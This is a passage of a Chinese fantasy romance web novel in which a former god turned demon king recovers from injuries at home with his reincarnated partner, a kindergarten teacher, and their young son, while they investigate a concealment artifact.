其实是痛的,对付殷刹远比他想象得更加艰难,为了在最短时间里斩草除根,不留后患,他几乎动用了全部修为,伤了根基。从幼儿园回来的路上,他就察觉到了,再加上五记银蛟鞭,身体的负荷几乎到了极限。 可他有两味良药。 只需要瞧上一眼,伤痛就会自愈。 看眠眠有些局促,他拨了拨眠眠的脸蛋,又说了一遍:“不会,就这样趴着。” 眠眠于是安心地摊开胳膊和腿,像小乌龟一样伏在陆无烬的身上。 不一会儿,他又抬起头。 “妈妈,你又喜欢爸爸了吗?” 杨思昭愣住。 “妈妈总是说,才不会喜欢爸爸,”眠眠歪着脑袋问,“现在又喜欢了吗?” 明知道杨思昭会脸红,陆无烬还逗他:“回答孩子的问题,又喜欢了吗?” 杨思昭扭头不语,红晕逐渐从鼻尖转移到耳尖。片刻后又缓缓弯下腰,蜷缩在陆无烬的身侧,额头靠在他的胳膊上。 陆无烬笑了笑。 他微微抬手,房间的灯光就暗了下来。窗帘没有完全拉上,皎洁月光透进来,映照在眠眠那双扑闪扑闪的大眼睛上,像两盏小灯,照一会儿妈妈,又照一会儿爸爸,很快电量就告罄了,眼皮渐渐耷拉下来。 直到彻底没电,呼吸均匀了。 杨思昭起身,把他轻轻地抱到床边,陆无烬说:“没事不用。”杨思昭看了他一眼,“你以为我看不出来?明明已经吃不消了,还在孩子面前逞能呢。” 陆无烬被拆穿了也不恼,只是静静地看着他。 杨思昭拿起小被子,盖在眠眠身上。 再回身时,陆无烬已经圈起一侧的手臂,像是一个舒适的“小窝”,邀请他进来。 他躺下,枕着陆无烬的胳膊,轻声问:“给我讲一讲我离开之后的故事吧。” “你离开之后,就没有故事了。” 杨思昭抱紧了陆无烬的腰。 确实没有故事,陆无烬没有夸大,那是一段很绝望、不忍回忆的时光。陆无烬初成神时,为了静心修炼,曾抄写过专门记载下凡历劫的《罪难录》,几乎是字字泣血,不忍卒读。可是后来,亲身经历了许多,陆无烬再想起这本书,只觉得不过如此。 他的苦,在于哀莫大于心死。 “你走之后,小家伙一直哭,他以前不怎么哭的,也不知道是不是母子连心,有所感知,他哭得那样凶,我是被他的哭声叫醒的。” “化丹被取走的事,我没有上报天界,我不想让怕旁人知晓,所以很长一段时间里,我没有离开青竹林。也因如此,小家伙断粮了,他没有奶喝,在我怀里哭得很可怜,我只能煮米糊,掺一些羊乳,一勺一勺地喂给他。幸好小家伙不算太娇气,就这样靠着米糊撑了过来。” “后来我才意识到他比同龄的孩子瘦小,但那时候他已经不怎么亲近我了。” “我不是一个称职的父亲,我那么心疼小时候的你,却让他重复了一遍你的童年,孤独寂寞,自娱自乐。” 杨思昭抱住他,哽咽道:“你也付出了很多,不要再自责了,神君。” 他撑起上半身,在月光下望着陆无烬的脸,轻声说:“我们不会再分开了,我们有很长很长的时间,可以弥补遗憾。”. 陆无烬伤得很重,他低估了长时间滞留人界,给他的身体带来的损耗。 陈此安劝他回去休养。 他还是拒绝。 这点痛,与三百年的无望相比,简直不值一提。 “帮我查一件事。”陆无烬交代道:“三界之中,有何人或者何种法器可以做到完全隐匿气息,还能突破仙家的灵阵。” 从洵暮的记忆里可以看出,那日他全程都没有察觉到后屋里有第三个人存在的痕迹。百年前他云游三界,普度众生,最经常的落脚点就是青竹林,他在青竹林里设了第一重灵阵,唯有心境纯澈者,方能进入。他的屋子是第二重灵阵,他向来精于修炼,功力自然浑厚非凡,能这般悄无声息闯入他的领地,实在凤毛麟角。 要么修为极强,要么法器傍身。 “修为极强,不太可能,若修为在我之上,何必费尽心机取走我的化丹?” 陈此安也认可:“是,能悄无声息地突破您的灵阵,这般法器也是世间罕有,如果真的存在,顺藤摸瓜,说不定就能查到当年是谁在害您了。” “殷刹之死,妖界掀起什么风浪了?” “还是有一些风浪的,他的部下已经蠢蠢欲动了,好在界门看守森严,他们出不来。但长久来看,放任他们蓄谋报仇,还是有风险的。” “你不用管,过几天我回去一趟。” “是。” 陈此安离开前忽然停步,掌心托起一颗破碎不堪的妖灵,“先生,这是殷刹的部下徐蕊的妖灵,您让我保管,之后该如何处置?” “继续保管,留她一口气,之后有用她的地方。” “是。”报告完毕,陈此安准备离开。 陆无烬忽然喊住他,“此安。” 陈此安呆住了,整个人瞬间木化,他还以为自己听错了,半晌才回头望向陆无烬,结结巴巴地问:“先、先生,什么事?” “这几个月,辛苦你了。”陆无烬说, 陈此安更加傻眼,走出卧室,半路还变回了原形,疯狂地吐了一会儿信子,盘绕成一个蒲团,又倏然舒展开,在地毯边来回游动。前后持续了不到一分钟,又化为人身,理了理西装的衣领和领结,才趾高气昂地离去。 眠眠坐在厨房的岛台上,看着杨思昭煎鸡蛋,他忽然说:“妈妈,客厅里有一个五颜六色的塑料袋在飞来飞去。” “塑料袋?”杨思昭皱起眉头,探头望去,客厅里空空如也。 “没有啊。” 眠眠抱着胖水壶,小口小口地喝着水,疑惑不解,他明明看到了。 杨思昭把火调小一些,问:“眠眠要吃厚厚煎蛋,还是水水煎蛋?” 眠眠纠结坏了,“厚厚……不是不是……水水……不是不是……” 杨思昭笑出声来,“那就吃两个。” 眠眠把胖水壶高高举过头顶,“好耶!” “爸爸妈妈各一个,还有鸡汤面,妈妈五点起来,煲了三个小时的菌菇鸡汤哦。”杨思昭掀起砂锅盖,一股浓郁的鲜香味就涌了出来,溢满厨房的角角落落。眠眠肚子里的小馋虫瞬间被勾了出来,他咽了咽口水,急切道:“眠眠要吃。” “眠眠还没洗脸,”杨思昭故意摇了摇头,“有一个小懒虫因为不想涂香香,八点钟了还不肯洗脸呢,让我闻一闻。” 他凑到眠眠面前,语气夸张道:“哎呀,是口水的味道,母鸡说了,脏兮兮的小朋友不可以吃它,眠眠就吃两个蛋吧。” 眠眠大惊,立即摇头,“不要!眠眠只吃两个蛋,眠眠会饿的!” “那洗不洗脸?” 眠眠委屈:“好吧。” 杨思昭笑了一声,把眠眠抱下来,带他去卫生间洗脸,给他涂上牛奶味的保湿霜。眠眠变成一只香喷喷的小羊羔,从卫生间一路跳到卧室,把脑袋探进门缝。 陈叔叔消失了,爸爸也不在床上。 眠眠再一次大惊。 “爸爸!”带着十足的哭腔,瞬间响彻整间屋子。 “喊什么?” 一个慵懒又低沉的声音在他头顶响起,他仰起头,往后看,看到了爸爸。 爸爸穿着黑色睡衣,站在他身后。 爸爸的头发有些乱,下巴有一点薄薄的胡茬,看起来和之前不太一样,但还是他的爸爸。 他忘了转身,还一个劲地仰着头,身子往后倾,后脚跟逐渐从拖鞋里滑出来,然后不出所料地,往后一栽—— 被爸爸托住了。 陆无烬两手夹在眠眠的咯吱窝下,轻松一拎,就把他拎了起来,“穿好拖鞋。” 他这才懵懵地往下看,他的毛毛拖鞋一只在脚边,一只已经飞得老远了。 但是爸爸抬了下指尖,那只拖鞋就飞了回来,稳稳当当地落在了他的右脚正下方。 穿好拖鞋,爸爸就松开他了。 爸爸转身走向厨房,眠眠急忙追着他,几次伸手,想要牵住爸爸的手,爸爸都没有感觉到。但他不气馁,爸爸一停下来,他就粘在爸爸腿边,仰着头看爸爸。 杨思昭余光扫到一抹高大的身影,愣了愣,“怎么下床了,我正准备端给你。” “一起吃。”陆无烬说。 一共是三碗鸡汤面,杨思昭把荷包蛋和烫熟的青菜码在鸡汤面上。 鸡汤浓郁,鸡肉软嫩,面条看起来就很筋道。 还有两盘小腌菜,也用瓷白的小盘子装上了,翠绿油亮,摆得漂漂亮亮。 杨思昭把碗盘一一摆放好,抬眼撞到陆无烬的目光,有些不好意思,两只手背到身后去,小声说:“我以前不会做饭,现在会做了,你是不是不太习惯?” 陆无烬没回答。 杨思昭有些局促了,“我也想完全恢复成以前的样子,但我现在这二十三年的记忆又不能完全抹去,我会做饭,又不能装作不会,而且以前都是你照顾我,我也想照顾你,你是不是想要以前的——” 话音未落,就被陆无烬打断:“没有什么以前现在之分,你就是你。” 轮回是你,记忆里外都是你,灵魂是你,肉身也是你。 这一点,陆无烬从没纠结过,与其纠结这些虚无缥缈又难以解释的事,不如把心思放在眼前欢笑上。 杨思昭嘴角忍不住往下撇,摘了围裙,直冲冲地走向陆无烬。 他把自己塞进陆无烬的怀抱里。 脸埋在陆无烬的肩头,手臂抱住陆无烬的腰,整个人从胸膛到腿都贴在他身上——这是他以前最喜欢的拥抱姿势。 每次陆无烬度化归来,他都会委屈巴巴地扑上来,反反复复地说:“神君,我想你了,你有没有想我?你想不想我?” 陆无烬显然也没忘记。 他微微俯身,抱住杨思昭,在他耳边说:“很想、很想你。” 杨思昭将他抱得更紧。 陆无烬忽然意识到一点,他的化丹似乎把小羊妖骨子里一点天然的欲压制住了,以前他的小羊妖无时无刻不想往他身上爬,眼神里总带着一股未经人事的魅,被他颠来倒去折腾到天亮也不生气,他一哄,就傻乎乎地往他怀里钻。如今的小羊妖既懂事又乖顺,会为他考虑,多了几分温柔,少了几分娇气。 如果说,陆无烬还有一点遗憾,就是这个了。他想看到他的小羊妖重新变回娇气任性的模样,本来他做这一切,都只是为了让他的小羊妖不吃苦罢了。 眠眠又一次被夹成肉饼。 幸好他在妈妈扑过来之前,及时把脑袋偏向一边,否则他连脑袋都要被压扁。 他努力挤出来。 仰起头,没有人理他。 他只能独自走到餐桌边,爬上凳子,盯着有两只荷包蛋的面碗流口水。 忽然间,他的屁股被人拍了一下,他猛地回头,却只看见妈妈。 爸爸已经在他身边坐下来了。 他捂住屁股,撅起嘴巴,望向爸爸。 可是陆无烬毫无反应,眼神还很疑惑,问他:“怎么了?” 眠眠迟疑了。 他转过头,杨思昭朝他温柔地笑。 真的不是爸爸吗?眠眠慢吞吞地坐下来,小小的脑袋里进行了一场思考风暴,他还是不相信妈妈会打他屁股,一定是爸爸干的。 为了报复,他握住小勺,将汤面里的一颗葱花舀出来,送到爸爸的汤里。 “臭爸爸,吃葱花!”他气鼓鼓地说。 第37章 眠眠觉得妈妈好像有一点变化。 以前妈妈的目光会一直停在他身上,会抱着他不撒手,还会和他一起对付爸爸,但是现在,每当他一觉睡醒,都会看到妈妈躺在爸爸怀里,两个人手握着手,头抵着头,说着他听不见的悄悄话。 他坐起来,揉揉眼睛。 爸爸妈妈没有发现他的动静。 他故意打了一个大大的哈欠,爸爸却忽然屈起膝盖,遮住了他望向妈妈的视线。 “!” 他连忙爬过去,越过山丘一样的爸爸,又骨碌碌滚了两圈,滚到爸爸妈妈中间。 他的卷发完全炸开了,仰起头都看不见妈妈的脸,很快他就感觉到妈妈的手抚过他的额头,指尖穿过他的头发,轻轻地梳着。 “眠眠睡得好吗?”杨思昭问。 眠眠舒服地张开了四肢,“好。” 他觉得好舒服,舒服到他又想睡觉了,可是爸爸故意抖腿,隔着被子颠他的屁股,把他晃得晕乎乎,他只能翻身爬到妈妈的胸口,杨思昭立即抱住他,和他碰了碰鼻尖。 “乖宝宝。”杨思昭说。 妈妈的身上总是有一股好闻的味道,眠眠把脸埋在杨思昭的颈窝里,闭上眼睛,咕咕哝哝地说他和妈妈的专属悄悄话。 “妈妈,我做了一个梦。” “什么梦呀?”杨思昭也配合他,压低了声音。 “梦到有一个很大很大的风,把妈妈吹走了,我一直追一直追,还是追不到。” 杨思昭和陆无烬对视了一眼。 眠眠继续讲:“我遇到一只小鸟,我问他,你能不能飞到天上,找一找我的妈妈,小鸟说,你再也见不到你的妈妈了。”眠眠说着说着就开始哽咽,“小鸟还说,你可以换一个妈妈,我不要换妈妈……” 杨思昭将他抱紧了。 “妈妈,”眠眠忽然抬起身子,摸了摸杨思昭的脸,小声问:“妈妈,我很想你的时候,你是不是也在想我?” 杨思昭的眼泪一下子泛滥成灾。 他该如何解释,那些命运的捉弄,被迫的遗忘?他很想告诉眠眠,如果可以,他一定无时无刻不在思念着他,可他撒不了谎。两个月前,眠眠一路追着他跑过人来人往的长街时,他并没有第一时间认出来,每当眠眠鼓起勇气喊他妈妈时,他还板着脸纠正:“是小羊老师,不是妈妈。” “妈妈一直很想你。” 陆无烬替他回答了。 他望向陆无烬,陆无烬用温柔的目光安慰他。 眠眠破涕为笑,“眠眠知道!” 他伸出小手,捧住杨思昭的脸,害羞地说:“妈妈,我在天上的时候,月亮婆婆让我挑妈妈,我一眼就看到你了!” 他的小脸红红的,既不好意思,又有些委屈:“我向月亮婆婆求了好久好久,她才同意我成为你的宝宝。” 因为这几句话,陆无烬当晚痛失抱杨思昭睡觉的资格,他洗完澡出来的时候,杨思昭已经抱着眠眠,睡得香甜入梦了. 两天之后,陈此安就找到了线索。 他过来向陆无烬汇报:“属下翻阅妖族的全部法器名谱,发现有一样法器,与您描述的有相似之处。” “什么?” “无相幡,此幡能制造幻象隐匿自身,还能在幻象之中灵动穿梭,以破除法阵禁制。经属下查证,此幡的来源与掌管姻缘的月仙有一些联系,传闻月仙善于修炼幡形法器,在几百年的一次神妖大战中,月仙的法器遭受重创,化为无数碎片,散落在妖族各处。而后被有心之妖到处找寻,交融重塑,凝成了无相幡。” “能查到是谁做的?” “年代久远,这段记载已经佚失。” “尽量再去查一查。” 陈此安点头:“是,属下已经增派了人手去追根溯源此事。” “月仙的法器……”陆无烬若有所思。 “先生。” 陈此安突然出声打断了他的思绪,他抬头望去,只见陈此安一脸踌躇。 “有事说事。” “既然您已经找到了夫人,夫人也记起了过往之事,那……您为什么还不收回化丹?收回化丹,您的功力必然大增,妖族里那些觊觎您妖王之位的反叛者就再也不敢打您的主意了。” “化丹已经在他的身体里这么多年,若是轻易取出,和生剖他的心有什么区别?再说了,我是找他找了三百年,又不是找化丹,化丹在他身上,保护他的安全,我更放心。” 陈此安一时语塞。 作为一个以“曾经的净梵神君,如今的妖王”为楷模的修炼者,他始终践行苦修之道,从不理会情爱之事,他认为尊主就是靠千年苦修打下了扎实的基础,才能承受百年磋磨。他实在想不明白,情爱之事到底有什么好的?能让一位神君在堕入妖道之后仍不忘旧爱。 他实难理解,拒绝理解。 “您明明可以回去做神君的,万人敬仰的神君。”陈此安低头抱怨道。 “做不成了。”陆无烬说。 从他把小羊妖留在青竹林那天起,他已经走上一条不归路了,凝神不稳,彻底乱了道心。但他不后悔,他心满意足,唯一的遗憾是恨一日只有十二个时辰,太短太短。 杨思昭请了一个星期的假,在家照顾陆无烬,时间一晃而过,他要回去上班了。 起床是个难题。 对一大一小来说都是难题。 明明是昨晚陆无烬劝他:“不想去就不去了。” 杨思昭还义正辞严地说:“这是我的工作,我挺喜欢这份工作的,而且我希望眠眠出去和小朋友们互动交流,我希望他更加开朗。” 结果第二天早上,陆无烬喊了三遍,杨思昭还是醒不来。 卧床在家这几天,一家三口有事没事就赖在床上,昼夜颠倒,原本的生物钟都乱了。陆无烬已经把空调打到最高,衣服早早地放在干衣架上加热,牙膏也挤好了,水龙头一打开就涌出热水。再看床上,杨思昭一动不动。 眠眠倒是醒了,他看着爸爸走到床边,又看到爸爸俯下身,把手伸进被窝,不知道在摸摸妈妈的哪里,他立即伸出短短的胳膊,抱住杨思昭的头。 “不可以欺负妈妈!” 杨思昭把脸埋在小小的身体上,鼻间全是暖烘烘的奶味,他深吸了一口气,瓮声说:“眠眠倒数三十秒,妈妈再睡三十秒。” “好!”眠眠高兴地领了任务,刚要开口,却犯了难,“妈妈,我不认识三十!” 他掰了掰手指头,瞬间陷入沮丧,说话都带着哭腔:“妈妈,我不认识三十怎么办?爸爸,妈妈醒不过来了怎么办呜呜呜……” 杨思昭噗嗤一声笑出来。 生平第一次,周一的早晨是笑醒的。 他在眠眠的棉质睡衣上蹭了蹭,“哇”的一声,猝不及防捧住眠眠的小脸,在他的脸蛋上亲了一大口,眠眠呆了呆,又开始傻笑。 他坐起来,陆无烬把毛衣和裤子送到他面前,杨思昭看着他,忽然眨了眨眼。 陆无烬坐在床边,“怎么了?” 杨思昭不动,又眨了眨眼。 陆无烬把他的毛衣拿起来,比了一下正反,正面朝下地摆在杨思昭面前。 杨思昭倾身过去,捧住陆无烬的脸,也在他的脸颊上亲了一口。 很奇怪,明明想念了那么多年,以为重逢会干柴烈火昏天暗地,可一对视,杨思昭就不受控制地开始害羞,就这样亲一下也会害羞。仿佛有一串小小的电流,从他的尾椎骨向上攀附,一点点席卷他身体的全部,隔着睡衣和陆无烬接触的肌肤,都会微微发烫。 “神君,早上好。”他说完就坐了回去,闷头套上毛衣,以掩饰慌乱。 可手腕被陆无烬握住了。 他心脏狂跳,呼吸紊乱,胳膊一点一点落下来,看着陆无烬愈发靠近的脸。 “那个……我时间来不及了……” 陆无烬还是倾身靠近,目光从他的唇瓣,缓缓下移,还伸手将他的毛衣脱掉。 杨思昭咽了下口水,“真的有点来不及了。” 他心想:再请一天假吗?可是眠眠还在啊,要不要先把眠眠抱走?怎么和眠眠解释呢,就说爸爸妈妈有重要的事要商量? 然而下一秒,陆无烬的话打断了他的头脑风暴:“睡衣没脱。” 杨思昭低头,两眼一黑:“……” 他听到陆无烬轻笑了一声,就像他笑话眠眠那样。 他的耳根一下子烧得通红,混乱地换好衣服,差点儿忘了一旁的眠眠。幸好眠眠很乖,已经默默脱完了睡衣,穿好毛衣,正在和棉裤作斗争,两条小短腿蹬来蹬去,好不容易才穿上裤子。 杨思昭带他去洗漱,涂了儿童保湿霜,又用梳子理了理头发。 “哪里来的小帅哥?”杨思昭夸他。 眠眠害羞地扑到妈妈怀里。 早饭是杨思昭昨晚准备好,陆无烬今早起来加热的,皮蛋瘦肉粥和三鲜蒸饺。 蒸饺是手工包的,一口咬下去,汤汁都溢出来。陆无烬还在蘸料里加了点香油和花椒油,更是直接鲜掉下巴。 杨思昭吃得心满意足。 一抬眼,才发现陆无烬没怎么动筷子,坐在他对面,静静地看着他吃。 “你怎么不吃啊?” 陆无烬没有说他伤得太重,这几日都没什么胃口,只说:“不太饿。” 杨思昭很不放心,叮嘱道:“我们走之后,你一个人在家多吃一点。” “好。” 一大一小离开之后,陆无烬回到客厅,凝神休养了片刻,召唤出陈此安。 “我回一趟洵山,处理殷刹余部的事,尽量今晚赶回,如果赶不上,你就替我解释一下,让他不要担心,明天中午前一定回来。” 陈此安点头:“是。” 杨思昭牵着眠眠的手去幼儿园已经很多次了,今天却格外的不舍,频频回望。 虽然幼儿园四点就放学了,可他一想,从现在到下午四点,还有八个多小时,他就开始后悔,应该再多请一个星期的假了。 可是陆无烬不需要他照顾。 陆无烬看起来比他还健康有力,真是奇了怪了,明明刚回来那天,伤重到直接在他面前倒下去了。可这几天看着,似乎已然痊愈。 真不愧是神君。 他突然停下脚步,低头望向自己的胸口,陆无烬的化丹还在他的身体里。 他已经想起回澜术的口诀,如果把化丹还给陆无烬,陆无烬的功力一定大增。 会过得比现在轻松吧,他想,至少受了伤,也不会耗损多少修为,不会晕倒。 他想把化丹还给陆无烬了。 正想着,已经走到幼儿园的门口了。 远远地听到一声“小羊老师”,是院长,他负手站在幼儿园门口,问:“小羊老师,你家里那位怎么样?身体痊愈了吗?” 杨思昭愣住,“院长怎么知道?” “幼儿园西南边的空地不是被砸得稀巴烂嘛,”院长无奈地笑了笑,“那位的助理找到我,向我赔礼,还给了我一张支票。” 他压低了声音说:“三百万呢。” 杨思昭声量飙升:“什么?多少?” “三百万,”老院长也是一副难以置信,“我特地去验了真伪,是实打实的真支票。” 穷了二十三年的杨思昭不禁咋舌,他已经带了主人翁思维,抠抠搜搜地想:三百万啊,不就是砸了几个花圃,弄坏了一点塑胶跑道,怎么就要赔三百万!有钱没处花吗? 真是不当家不知柴米贵。 回去得好好教育一下陆无烬! 但面上他还是表现得极为大气,笑着说:“应该的应该的,给院长添麻烦了。” “我听乐乐妈妈说,那位……就是妖王?曾经还是神君?”院长低声问。 杨思昭犹豫了一会儿,点了点头。 “真是太厉害了。”院长说。 杨思昭笑了笑,不太愿意继续这个话题,他带着眠眠去更衣室,然后到门口迎接小(5)班的孩子们。 齐妍带着乐乐走过来,她对杨思昭的态度明显恭敬了许多,“杨老师,早上好。” “齐小姐,早上好。”杨思昭笑意吟吟。 乐乐一转头又看到小池,两个小姑娘互相挥了挥手,夸起对方的小裙子,“我喜欢你的裙子,我喜欢这个蝴蝶结!”小池立即说:“我可以借给你穿,我也喜欢你这个蛋糕裙。” 两个小姑娘手牵手朝着杨思昭扑过来。 杨思昭接住他们,笑着说:“早上好呀,两位小公主。”乐乐盯着杨思昭,盯了几秒钟,忽然说:“小羊老师变得不一样了!” “哪里不一样?” “说不出来,”乐乐想了想,眼睛一亮,“就是不一样了,变得更好看了!” 杨思昭完全招架不住嘴甜的小朋友。 看着乐乐和小池走进去,杨思昭回头继续和齐妍打招呼,齐妍说:“尊主已经被安排下去了,我们会尽全力寻找无相幡的来源和经手之人,为您查明真相。” “多谢。” “很抱歉,之前恶意揣度尊主,连带着伤害了您,我们不知道如何才能赎罪。” “没事的,已经翻篇了。” “我们也是这几天才知道您和尊主之间的往事,竟如此曲折感人,这样的感情实在太珍贵了。” 杨思昭挠了挠头,笑道:“也没你说的这么夸张了,院长和他夫人的故事也很感人啊。” “什么?” “你不知道?院长的夫人也是妖,为了偷取延年之气而受罚,被关在大牢二十年,院长就等了她二十年呢。” 齐妍微微皱眉,但没说什么。 和杨思昭寒暄完,回到车里,她把杨思昭的原话一字不差地转述给丈夫顾桓,“是这样吗?” 顾桓也不知情。 他们当初为躲避陆无烬的追捕,逃离妖界,在人间四处躲藏迁徙,之后因为听说月岭市的某座幼儿园里有一棵神树,能遮蔽妖族的气息,他们立即赶了过去,说明缘由,院长好心收留了五个孩子。 他们全然不知,院长的夫人也是妖。 顾桓说:“你和他们继续查无相幡,我去查一查院长的事。” “好。” 幼儿园还是一如既往的吵闹。 杨思昭陪孩子们上完数字课,又带着一串小妖怪去户外玩游戏,平日里也是这些流程,但这次他有些魂不守舍。 时不时看表,期待着四点的到来。 归心似箭,大概就是这样。 好不容易捱到四点,他立即背着包,牵着眠眠走出幼儿园。 “回家,回家。”他一边走一边嘀咕。 眠眠学着他,“回家,回家!” 可是一到家,没看到陆无烬,只看到陈此安,陈此安歉然道:“不好意思,杨老师,先生回妖界处理殷刹的事了,快则今晚回,慢则明天中午,他让您不要担心。” 杨思昭的心瞬间变得空落落的。 眠眠看出妈妈的失落,跑到沙发上,抱起爸爸的黑色大衣,盖住自己。 因为陆无烬的衣裳太大,把他压得摇摇晃晃,他踩着乱七八糟的步伐扑向杨思昭,扬声说:“妈妈,我是爸爸!” 杨思昭无奈地笑了笑,抱住他。 可是晚上陆无烬没有赶回来。 杨思昭一直等到半夜,还是没等到。 他有些难过。 想起很多过往,他在神君的怀里安睡,又或是青天白日里厮混,想起那些画面,他愈发难过。 他很想变回原来的模样,可几世轮回,已经悄然改变了他的性子,他没法像三百年前那样天真无邪,更羞于乱来了。 可是真的很想神君。 他突然想起一个东西,灵眼。 家里还有灵眼吗?陆无烬还会看吗? 他不知道。 他看了眼身边熟睡的眠眠,悄悄起床,走到卫生间。 他始终垂着眼,耳根通红,深吸一口气,然后对着白色瓷墙的某处,解开了睡衣的纽扣。 第38章 杨思昭觉得自己简直疯了。 半个月前他还指着灵眼,对陆无烬说:你这个大流氓,大变态!不准再监视我! 而此时此刻,他正对着可能存在的“灵眼”,解开了睡衣的纽扣。 是真丝睡衣,解到第四颗的时候,领口已经随他的手指松动,顺着肩胛弧度一点点下滑,斜斜地停留在肩峰处,露出锁骨。 他原本是想看灵眼有没有显形,余光一扫,却扫到镜子里的自己—— 羞臊的情绪瞬间涌了上来。 他在发什么疯? 陆无烬的伤还没痊愈,他就开始想这种事了吗?不行,不行。 殷刹刚死,妖族动荡,陆无烬还有很多事要处理,忙得不可开交,每日愁绪满面,估计已经对这个没有兴趣了。 他急忙把睡衣穿好,拢起领口,转身走向门口的时候又停住脚步。 比起这种事,其实他更关心陆无烬的安全。陆无烬还是和三百年前一样,沉默寡言,心思深沉,独自背负起他们两人的责任。也不知道他这次回洵山,会不会遇到危险。 修为再高,没有化丹也是强撑。 如果没有遇到他,陆无烬不至于落得如此辛苦的地步。 他转过身,望着瓷白的墙壁,之前陆无烬握住他的手消除了一只灵眼。他缓缓抬起手,指尖对准印象里那个位置,画了个圈。 因为情绪忽然低落而垂下的眼睫,半晌又抬了起来,他一动不动地望着。 仿佛陆无烬就在那一端看着他。 他不由自主地往前走了一步,睫毛颤动,呼吸微乱,耳根莫名开始发烫,仿佛陆无烬已经坐在他对面。 在完全失态前,他收回手。 在原地站了许久,他低下头,对着空气说了句:“早点回家。” 回到床上时,他的气息还没完全平复,幸好眠眠没有被他吵醒,已经睡得很熟,他侧过身,靠在眠眠的小小肩头。 第二天,陆无烬还没出现,陈此安派人送来早餐。 其实是很丰盛美味的早餐,但杨思昭吃着吃着,转头和眠眠对视了一眼,显然两个人产生了一样的想法。眠眠问:“妈妈,爸爸去哪里了?” “爸爸回去办事情了,很快就回来。” 眠眠听了,低头望向自己小碗里的紫薯卷,忽然拿起一个,放回盘子里。 “怎么了?”杨思昭问。 “留给爸爸。” 杨思昭心里一暖,不自觉抬头望向四周的墙壁,灵眼更应该记录这些。 陆无烬会看到吧,宝宝这么爱他。 吃完早饭,就去幼儿园了。 杨思昭推开门,正好撞上了同一时间出门的许曜,他一个人背着书包走出来。看到杨思昭时也是一愣,站在原地不说话了。杨思昭和他打招呼:“早上好,许曜小朋友,怎么看起来不太高兴?” “没什么,”小家伙还是酷酷的,别过脸,小大人似的说,“是我自己的事,小羊老师你还不快点,你要迟到了。” 杨思昭倒被他赶进了电梯。 “你舅舅最近怎么样?” 许曜耸了下肩膀,“不知道,他说他犯了错,会被惩罚,可能要很久才能回来。” “惩罚……”杨思昭想到自己执意要取回记忆的事,他从来没想过,人有人法,神有神规,裴怀谦作为封印记忆的神官,未经允许,将记忆交还给历劫未结束的人,显然是犯了大错,也不知道他要受何种惩罚,自己能否为他做些什么? “他不在,家里就剩你一个人?” “嗯。”许曜快步走出电梯。 杨思昭连忙牵着眠眠追出去,“那你吃饭怎么办,早上有没有吃早饭?” 许曜看起来似乎很嫌他麻烦,头也不回地说:“保姆早晚来一趟。” “那你的爸爸妈妈呢?” 提到这个话题,许曜的步伐明显加快了,语气也强烈许多:“不知道,不知道他们去哪里,反正我就喜欢一个人待着。舅舅不在也很好,我可以一直玩游戏。” 话音未落,手忽然被人牵住了。 是杨思昭。 杨思昭俯身捉住了他的手,因为追得急了,还有些气喘吁吁,他朝许曜莞尔一笑:“不要走得那么快,我们一起走,好不好?” 许曜噤了声。 半晌又甩动胳膊,闷声说:“不要。” 可杨思昭把他的手握得很紧,对上他故意拧紧又发狠的眉头,还是温柔地微笑:“不要生气嘛,很快就到幼儿园了。” 他越过杨思昭,看向另一侧的眠眠,眠眠的半张脸都埋在围巾里,只露出一双黑葡萄一样的圆眼睛。他看到杨思昭握住许曜的手,明显呆了一下,长睫毛扑闪扑闪几下,像是要哭了。许曜立即甩开杨思昭的手,一个人背着书包往前跑。 “慢点,小心车!”杨思昭大声喊。 一直到幼儿园门口,他才追到许曜。小家伙估计还在为父母的事赌气,跑得满头大汗,羽绒服敞开了,鞋带也散了。杨思昭把他拉住,在他面前蹲下,为他系上鞋带,又帮他理了理额前的乱发,认真地叮嘱:“以后在路上不能这样跑了。” 许曜低着头,不看他,还是一扭身跑走了。 杨思昭叹了口气。 忽然听到一旁传来眠眠急切的声音,他连忙转过身,望向眠眠:“怎么了?” 宽大的围巾使他低不了头,厚实的羽绒服也限制了他的行动,他把一只手伸进口袋,怎么都拔不出来了,只能求助妈妈,“兜兜把我的手咬住了,妈妈妈妈!” 杨思昭立即帮他拔,可怜的小手已经汗津津了,还紧紧抓着一根棒棒糖。 “给哥哥的。”他小声说:“哥哥不开心。” 杨思昭抱抱他,笑着说:“我们今天回家的时候,等一下小哥哥好不好?这样眠眠就有机会把棒棒糖送给小哥哥了。” 眠眠用力地点了点头。 “好乖。”杨思昭亲了亲他。 “小羊老师!” 院长的声音打断了父子俩的腻歪,他笑容满面地走过来,“我想在下周三组织一场亲子运动会,已经征询过家长们的意见了,下午一点半开个会,你们几个老师一起出谋划策,帮我拿个方案出来。” “好啊。”杨思昭点头。 院长指了指眠眠,“这个孩子,他的父母到时候能不能露面?” “院长,您这是什么意思?” “我最近也观察了好久,本来以为你们就是投缘,所以相处亲密得像父子俩,结果后来我好几次听到他喊你妈妈,最近还听说了,陆先生和你是恋人关系。我就想着……”院长笑了笑,眼角的褶皱更深,“虽说听起来像天方夜谭,但妖族本就有许多难以解释的事,难不成……你就是这孩子的母亲?” 杨思昭怔住。 “没事,我会替你保密的。”院长说。 当着眠眠的面,他不能说不是,可是这个秘密也不能广而传之,对陆无烬和他实在不利。他把院长拉到一边,小声说:“不是的,您想多了,我和孩子就是投缘而已。” “真的?” 杨思昭点头,故作轻松地笑了笑,“当然是真的,男人怎么生孩子?” 院长也笑,没说什么。 结束了两个小插曲,杨思昭终于开始了今天的工作。 方小盼和方小望今天没有来,他们的母亲胡婕给杨思昭打了电话,说是灵根有损,身子胀痛,一个传染另一个,从昨晚一直疼到今天早上。杨思昭很是担心,连忙问:“灵根怎么会受损?” 胡婕说:“我们虽然身在人界,但灵根还是留在妖界的,依赖亲友的供养,才能在人界滞留这么久。这两天也不知道是怎么了,孩子的灵根似乎被人动了手脚,前几天圈圈妈妈也说圈圈昏睡不醒,浑身发热。” 杨思昭的心瞬间提到嗓子眼,“什么?她怎么没告诉我?” “您那几天请假了,再说了尊主重伤,我们也不好打扰您。” “那现在怎么办?” “只能是我们几家的父母回去一趟,施法为孩子巩固灵根。” 杨思昭又问:“现在真相已清,陆无烬也不会再追究了,你们何必逗留人界?不如早日回去,和亲人朋友相聚?” 胡婕叹气,“不行的,您忘了吗?擅自离开洵山,须受百年流离之苦,才能回去。” “还剩多少年?” “也不长,还剩最后三年。” “你们什么时候回妖界?” “等下周的亲子运动会结束吧,这一趟回去,吉凶未知,我们怕有风险,还是想着多陪陪孩子。” 杨思昭听得黯然。 可怜天下父母心,即是如此。 